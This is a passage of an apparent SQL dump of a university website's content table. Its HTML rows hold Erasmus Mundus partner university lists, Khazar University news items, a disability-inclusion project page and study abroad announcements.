10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.stclares.ac.uk/\" style=\"outline:none\">St. Clare\'s College, Oxford, UK</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.sogang.ac.kr/english/\" style=\"outline:none\">Sogang University, South Korea</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\">Cavalry School of Management and Design (CSMD), Singapore</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.iscid.com/fr/accueil.aspx\" style=\"outline:none\">Institute Superior de Commerce International de Dunkerque (ISCID), France</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.sseriga.edu/en/\" style=\"outline:none\">Stockholm School of Economics in Riga, Latvia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ikiu.ac.ir/en/\" style=\"outline:none\">Imam Khomeini International University, Iran</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\">Farabi Institute of Higher Education, Iran</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\">Iranian Elite Academy, Azerkadeh, Iran</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ankara.edu.tr/2012/12/28/english/\" style=\"outline:none\">Ankara University, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.preston.ae/\" style=\"outline:none\">Preston University, Ajman, UAE</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://en.uit.no/inenglish\" style=\"outline:none\">The University of Tromso, Norway</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.bi.edu/\" style=\"outline:none\">BI Norwegian School of Management</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.unicaen.fr/\" style=\"outline:none\">University of Caen Lower-Normandy, France</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.csusb.edu/\" style=\"outline:none\">California State University, San Bernardino, California, USA</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#000000;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Erasmus Mundus layihələrində əməkdaşlar:</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#000000;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>WEBB Erasmus Mundus əməkdaşları (2012-2015)</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.unibo.it/\" style=\"outline:none\">Università di Bologna</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tsu.edu.ge/\" style=\"outline:none\">Tbilisi State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.unive.it/\" style=\"outline:none\">Università Ca’ Foscari Venezia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.unipv.it/\" style=\"outline:none\">Università degli Studi di Pavia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.cardiffmet.ac.uk/\" style=\"outline:none\">Cardiff Metropolitan University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ugent.be/\" style=\"outline:none\">Universiteit Gent</a>&nbsp;&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uni-leipzig.de/\" style=\"outline:none\">Universität Leipzig</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.lu.se/\" style=\"outline:none\">Lunds universitet</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.univ-poitiers.fr/\" style=\"outline:none\">Université de Poitiers</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.utu.fi/\" style=\"outline:none\">University of Turku</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uw.edu.pl/\" style=\"outline:none\">Uniwersytet Warszawski</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.usb.md/\" style=\"outline:none\">Universitatea de Stat „Alecu Russo” din Bălţi</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.onu.edu.ua/\" style=\"outline:none\">Odessa National I.I. Mechnikov University</a>&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://bsu.edu.ge/\" style=\"outline:none;color:#003399\">RSU - Shota Rustaveli State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tesau.edu.ge/\" style=\"outline:none\">Iakob Gogebashvili Telavi State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tsu.edu.ge/\" style=\"outline:none\">Ivane Javakhishvili Tbilisi State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.bsu.by/\" style=\"outline:none\">Belarusian State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>EUROEAST Erasmus Mundus&nbsp;əməkdaşları&nbsp;(2012-2016)</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.polito.it/\" style=\"outline:none\">POLITO – Politecnico di Torino</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.inter.kpi.ua/\" style=\"outline:none\">NTUU “KPI” - KYIV Polytechnic Institute</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.aalto.fi/en/\" style=\"outline:none\">AALTO - Aalto University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.amu.edu.pl/\" style=\"outline:none\">AMU - Adam Mickiewicz University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.fu-berlin.de/en\" style=\"outline:none\">FUB - Freie Universität Berlin</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ist.utl.pt/\" style=\"outline:none\">IST - Instituto Superior Tecnico</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ugent.be/\" style=\"outline:none\">UGENT - Universiteit Gent</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.univ-montp2.fr/\" style=\"outline:none\">UM2 - University of Montpellier 2</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.upv.es/\" style=\"outline:none\">UPV - Universidad Politecnica de Valencia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.iliauni.edu.ge/\" style=\"outline:none\">ISU - Ilia State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://bsu.edu.ge/\" style=\"outline:none;color:#003399\">RSU - Shota Rustaveli State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.brsu.by/\" style=\"outline:none\">BRSU - Brest State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.grsu.by/\" style=\"outline:none\">YKSUG - Grodno State University Yanka Kupala</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uasm.md/\" style=\"outline:none\">SAUM - State Agrarian University of Moldova</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.usb.md/\" style=\"outline:none\">USB - Alecu Russo Balti State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.utm.md/\" style=\"outline:none\">TUM - Technical University of Moldova</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.chnu.cv.ua/\" style=\"outline:none\">CHNU - Yuriy Fedkovych Chernivtsi National University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>ELECTRA Erasmus Mundus&nbsp;<strong>əməkdaşları</strong>&nbsp;(2012-2016)</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uni-oldenburq.de/\" style=\"outline:none\">Oldenburg University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.iliauni.edu.ge/\" style=\"outline:none\">Ilia State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.upv.es/\" style=\"outline:none\">Politechnico de Valencia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.polito.it/\" style=\"outline:none\">Politechnico di Torino</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ul.ie/\" style=\"outline:none\">Limerick University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uminho.pt/\" style=\"outline:none\">Universidade do Minho</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.oulu.fi/\" style=\"outline:none\">Oulu University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uj.edu.pl/\" style=\"outline:none\">Jagiellonian University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uctm.edu/\" style=\"outline:none\">University of Chemical Technology and Metallurgy</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tsu.edu.ge/\" style=\"outline:none\">Tbilisi State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://bsu.edu.ge/\" style=\"outline:none;color:#003399\">Batumi Shota Rusteveli State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.bsu.by/\" style=\"outline:none\">Belarusian State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.opu.ua/\" style=\"outline:none\">Odessa Technological University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.univ.kiev.ua/\" style=\"outline:none\">Kyiv National Taras Shevchenko University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.znu.edu.ua/\" style=\"outline:none\">Zaporizhzhya National University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.bntu.by/\" style=\"outline:none\">Belarusian Technical University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Keçmiş Erasmus Mundus layihələrindən&nbsp;<strong>əməkdaşlar</strong>&nbsp;(2007-2011)</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.teithe.gr/\" style=\"outline:none\">Alexander Technological Educational Institution of Thessaloniki</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.smu.ac.uk/\" style=\"outline:none\">Swansea Metropolitan University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ru.lv/\" style=\"outline:none\">Rezekne\'s Augstskola</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ru.acad.bg/\" style=\"outline:none\">University of Ruse \'Angel Kanchev\'</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uniroma1.it/\" style=\"outline:none\">Sapienza University of Rome</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.vub.ac.be/\" style=\"outline:none\">Vrije Universiteit Brussel</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tsu.ge/international\" style=\"outline:none\">Ivane Javakhishvili Tbilisi State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.bsu.edu.ge/\" style=\"outline:none\">Shota Rustaveli State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tesau.edu.ge/\" style=\"outline:none\">Iakob Gogebashvili Telavi State University</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.gu.edu.ge/\" style=\"outline:none\">Gori University</a></p></div>'),(4308,2542,'en','PETRA project study visit to Hungary','On October 16-20, 2017, the 1st study visit of the ERASMUS + PETRA project took place at Debrecen University...','<p>On October 16-20, 2017, the 1st study visit of the ERASMUS + PETRA project took place at Debrecen University in Hungary with the participation of members of European and Azerbaijan partner higher education institutions as well as Ministry of Education representative of Azerbaijan Republic.</p><p>Dr. Elza Samadova, Dean of the School of Education and Lyudmila Sotova, Head of Quality Assurance Center, represented Khazar University in the study tour.</p><p>The main purpose of the study visit was to learn from the experience of Debrecen University on teaching, learning and research activities.</p><p>During the tour, participants had the opportunity to be acquainted with the university core activities, the teaching and learning, visit Scientific and Center Agora, and participate in the scientific workshop and international conference.</p>'),(3064,1808,'en','Founder on \"I am Looking for You\" Program on Khazar TV','On January 1, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was a guest on the \"I am Looking You\"...','<p>On\r\nJanuary 1, 2017, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, was a guest on the \"I am\r\nLooking for You\" program of Khazar TV. He spoke about important political,\r\neconomic, scientific and cultural events happened in the world in 2016.\r\nProfessor Isxanli also touched upon the fate of people who have lost touch with\r\nAzerbaijan.&nbsp;</p>'),(1734,1075,'en','The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan','The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan','<div><br></div><div><strong>The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</strong>  <br></div><div><br></div><div><br></div><div><strong>Start Date:</strong> <span class=\"Apple-tab-span\" style=\"white-space:pre\">      December 2013</span><br></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><br></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>Duration:</strong>  <span class=\"Apple-tab-span\" style=\"white-space:pre\">      36 months</span><br></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><br></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><br></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><br></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>Brief information and main objectives:</strong>  </span></div><div><span style=\"white-space:pre\"><br></span></div><div><span style=\"white-space:pre\"><br></span></div><div><span style=\"white-space:pre\">The project aims to improve access for students with disabilities into HEIs of Azerbaijan in line with the best EU practices and policies, supported by the Ministry of Education and the Ministry of Labor and Social</span></div><div><span style=\"white-space:pre\"> Protection of the Population, through the development and implementation of the guidelines and polices and raise awareness of the students, staff and other stakeholders.  <br></span></div><div><span style=\"white-space:pre\"><br></span></div><div><span style=\"white-space:pre\"><br></span></div><div><span style=\"white-space:pre\">Particularly:</span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><ul><li>Establishing guidelines and polices for involvement of physically disabled people into HEIs in Azerbaijan</li><li>Conducting staff training for working with disabled people</li><li>Establishing Centers for Disabled Persons at each local partner university</li><li>Improving physical environments for disabled people at HEIs in Azerbaijan</li><li>Raising public awareness</li></ul></span></div><div><br></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong><br></strong></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong><br></strong></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><strong>Coordinator and partners:</strong>  </span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><br></span></div><div><span class=\"Apple-tab-span\" style=\"white-space:pre\"><p><strong>Project Coordinator:</strong></p><p><strong><a href=\"http://www.khazar.org/s7849/\" target=\"_blank\">Khazar University</a></strong></p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p><a href=\"http://www.humanconsultancy.com/\" target=\"_blank\">Human European Consultancy</a></p><p><a href=\"http://iso.uni.lodz.pl/\" target=\"_blank\">University of Lodz</a></p><p><a href=\"http://www.uom.gr/index.php?newlang=eng\" target=\"_blank\">University of Macedonia</a></p><p><a href=\"http://www.uni-graz.at/en/\" target=\"_blank\">Karl Franzens Universität Graz</a></p><p><a href=\"http://www.uni-graz.at/en/\" target=\"_blank\"></a><a href=\"http://gsu.az/\" target=\"_blank\">Ganja State University</a></p><p><a href=\"http://gsu.az/\" target=\"_blank\"></a><a href=\"http://ndu.edu.az//en/mainpage/\" target=\"_blank\">Nakhchivan State University</a></p><p><a href=\"http://ndu.edu.az//en/mainpage/\" target=\"_blank\"></a><a href=\"http://www.sdu.az/\" target=\"_blank\">Sumgayit State University</a></p><p><a href=\"http://www.sdu.az/\" target=\"_blank\"></a><a href=\"http://www.lsu.edu.az/index_en.html\" target=\"_blank\">Lankaran State University</a></p><p><a href=\"http://www.lsu.edu.az/index_en.html\" target=\"_blank\"></a><a href=\"http://www.aseu.az/index.php?lang=en\" target=\"_blank\">Azerbaijan State Economic University</a></p><p><a href=\"http://www.aseu.az/index.php?lang=en\" target=\"_blank\"></a><a href=\"http://www.udpo.az/index.php?lang=2\" target=\"_blank\">Union of Disabled People Organizations</a></p><p><a href=\"http://www.udpo.az/index.php?lang=2\" target=\"_blank\"></a><a href=\"http://www.edu.gov.az/view.php?lang=en\" target=\"_blank\">The Ministry of Education of the Azerbaijan Republic</a></p><p><a href=\"http://www.edu.gov.az/view.php?lang=en\" target=\"_blank\"></a><a href=\"http://www.mlspp.gov.az/en/pages/1\" target=\"_blank\">The Ministry of Labor and Social Protection of Population</a>&nbsp;</p><p><br></p><p><br></p><p><strong>Contact:</strong>  <br></p><p><br></p><p><strong>Rima Mammadova</strong>  <br></p><p> <strong>Rmammadova@khazar.org</strong>  </p><p>+994 (12) 421 79 16/ ext 234  </p><p><br></p><p><br></p><p><br></p><p><br></p></span></div>'),(766,535,'en','Study and Research Opportunities','Study and Research Opportunities','<div><br></div><p><strong style=\"font-family:\'times new roman\', times, serif\">NEW</strong>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></p><div><br></div><p><strong style=\"font-family:\'times new roman\', times, serif\">Studying in the USA</strong>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></p><div><br></div><p>Interested in studying in a U.S. University and need to know more in details about required documents, application process and scholarships? All students who are interested in getting a master’s degree in USA are invited to a series of presentations by the EducationUSA Adviser.The EducationUSA network is supported by the U.S. Department of State’s Bureau of Educational and Cultural Affairs (ECA).<strong>1st session: Your 5 Steps to Study in USA</strong><strong>Date and Time: April 10, 15:00</strong><strong>Room: 206 old</strong>  <br></p><div><br></div><div><br></div><p><strong><strong>Study in UK</strong></strong>  <br></p><div><br></div><p><strong style=\"font-family:\'times new roman\', times, serif;font-size:medium\">On April 9, 2015 at 18:00</strong><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;on Khazar University’s downtown campus (122 Bashir Safaroghlu Str.), a presentation about studying in UK will be held. The presentation will be delivered by the Director of International Office at the University of East Anglia. Topics to be covered during the presentation include: </span> <br></p><div><br></div><p>Education system in UK-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; University of East Anglia-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Admission requirements-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fields and levels (bachelor, master and PhD) of study-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Scholarship opportunities-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Living expenses in UKAnd other topics.This event is open to everyone – all are welcome to attend.  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></p><div><br></div><div><br></div><p><strong style=\"font-family:\'times new roman\', times, serif\">GLOBAL UNDERGRADUATE EXCHANGE PROGRAM 2015-2016. Deadline: February 27, 2015</strong>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></p><div><br></div><div><br></div><p>The U.S. Department of State and World Learning are pleased to announce the open competition for the Global UGRAD Program for undergraduates for the 2015-2016 program. Participants will be selected for academic excellence, leadership potential, proficiency in written and spoken English, and flexibility to be an exchange student.&nbsp;<strong>Deadline for applications is 5:00 PM, February 27, 2015</strong>The Global UGRAD scholarship provides one academic semester of undergraduate, non-degree study in the United States in all fields except medicine, law, or other faculties only offered at the graduate level in the U.S.For more information and instructions about the Global UGRAD program, application forms and other important details go to:&nbsp;<a href=\"http://azerbaijan.usembassy.gov/edu2/ugrad.html\">http://azerbaijan.usembassy.gov/edu2/ugrad.html</a>You could also ask your questions to the International Affairs Office team (Neftchilar Campus, 5<sup>th</sup>&nbsp;floor, Room 511).&nbsp;  <br></p><div><br></div><p><strong>Opportunities in Austria: DIPLOMATIC ACADEMY OF VIENNA</strong>  <br></p><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><p>The Diplomatic Academy is a postgraduate professional school, dedicated to preparing talented university and college graduates for international careers and positions of leadership in international organizations, the EU, in public service and in international business.  <br></p><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><p></p><ol><li><strong>&nbsp;</strong><strong>MASTER OF ADVANCED INTERNATIONAL STUDIES (MAIS):&nbsp;</strong><a href=\"https://www.da-vienna.ac.at/programmes/mais_programme\">https://www.da-vienna.ac.at/programmes/mais_programme</a>&nbsp;<strong>&nbsp;</strong></li><li><strong>&nbsp;</strong><strong>MASTER OF SCIENCE IN ENVIRONMENTAL TECHNOLOGY AND INTERNATIONAL AFFAIRS (ETIA):&nbsp;</strong><a href=\"https://www.da-vienna.ac.at/programmes/etia_programme\">https://www.da-vienna.ac.at/programmes/etia_programme</a>&nbsp;</li><li><strong>&nbsp;SUMMER COURSE: For German Language and Austrian Studies &nbsp;</strong><a href=\"https://www.da-vienna.ac.at/programmes/summer_course\">https://www.da-vienna.ac.at/programmes/summer_course</a></li></ol>  <br><p></p><div><br></div><p><strong>U.S. Institute for Student Leaders on Local, State, and Federal Public Policymaking: 5-week summer program in the States (June-July, 2015)</strong>  <br></p><div><br></div><p><a href=\"http://azerbaijan.usembassy.gov/edu2/susi2.html\">http://azerbaijan.usembassy.gov/edu2/susi2.html</a>&nbsp;<strong>&nbsp;</strong>  <br></p><div><br></div><p><strong>Deadline: January 5, 2015</strong><strong>&nbsp;</strong>  <br></p><div><br></div><p><strong>The Institute will bring together students from Azerbaijan, Armenia, Georgia, and Turkey for a 5-week summer program in the States.&nbsp; The Institute will be hosted at Southern Illinois University in Carbondale, Illinois.&nbsp;</strong><strong>&nbsp;</strong>For additional information: Sadagat Davudova, Education Specialist: +994 12 4883300 (ext 3636)  </p><div><br></div><div><br></div><p><strong>GOVERNMENT OF AZERBAIJAN - Scholarship opportunities for Azerbaijani students willing to study abroad</strong><strong><a href=\"http://xaricdetehsil.edu.gov.az/\">To find more information please click HERE</a></strong><strong><a href=\"http://xaricdetehsil.edu.gov.az/c-universitetler\">List of Universities</a></strong><strong><a href=\"http://xaricdetehsil.edu.gov.az/c-proqram-haqqinda/prioritet-istiqametler/\">List of priority majors</a></strong><strong><br></strong>  <br></p><div><br></div><p><strong><a href=\"http://www.icndbm.com/\">1st International Conference on New Directions in Business, Management, Finance and Economics</a></strong><strong>Eastern Mediterranean University, Famagusta, North Cyprus, September 12-14, 2013</strong>  <br></p><div><br></div><p><strong><a href=\"http://www.aydin.edu.tr/files/summerschool.pdf\">Istanbul Aydin University Summer Schools &nbsp;in Summer 2013 between 1<sup>st</sup>&nbsp;-14<sup>th</sup>&nbsp;July 2013.</a></strong><strong>Deadline:&nbsp;May 15, 2013</strong><strong>Contact:</strong><strong>&nbsp;</strong><strong><a href=\"https://mail.aydin.edu.tr/owa/redir.aspx?C=sFYINjEmEUaFrCbYImEXwi7qiBiz-84IfQPIQ_pX_vPgrBSoRMHdRSl17D6TLO8l2r_QC6Dzw7s.&amp;URL=mailto%3ahandantezkanli%40aydin.edu.tr\" target=\"_blank\">handantezkanli@aydin.edu.tr</a></strong>  <br></p><div><br></div><p><strong><a href=\"http://www.ipag.fr/en/home.html\">Summer School in Nice, France, June-July 2013</a>&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/Business%20Strategy.pdf\">Business Strategy.pdf</a></strong><strong><a href=\"http://www.khazar.org/files/French%20Culture%20and%20Civilization.pdf\">French Culture and Civilization.pdf</a></strong>  <br></p><div><br></div><p><strong><a href=\"http://www.icwip.hu/\">ICWiP Debate Summer Academy 2013 &nbsp;-&nbsp;June28 - July7, 2013 -&nbsp;Pécs, Hungary</a></strong><strong><strong>Early bird deadline: May 1, 2013</strong></strong><strong><strong><strong>Normal application deadline: June 17, 2013</strong></strong></strong>  <br></p><div><br></div><p></p><table><tbody><tr><td><strong>2nd International Conference on Microbial Diversity: Microbial Interactions in Complex Ecosystems</strong>&nbsp;is&nbsp;<strong>NOW OPEN</strong>! (<a href=\"http://www.khazar.org/files/ConferenceOnMicrobialDiversity.pdf\">ConferenceOnMicrobialDiversity.pdf</a>)</td></tr></tbody></table>&nbsp;<table><tbody><tr><td><strong>KDI School of Public Policy and management offers Master and PhD programs. For more information please download the guideline:</strong>&nbsp;<a href=\"http://www.khazar.org/files/ApplicationGuideline2013Intl.pdf\">ApplicationGuideline2013Intl.pdf</a><br></td></tr><tr><td><a href=\"http://essa2013.org/\">European Social Simulation Association Conference</a>&nbsp;(<a 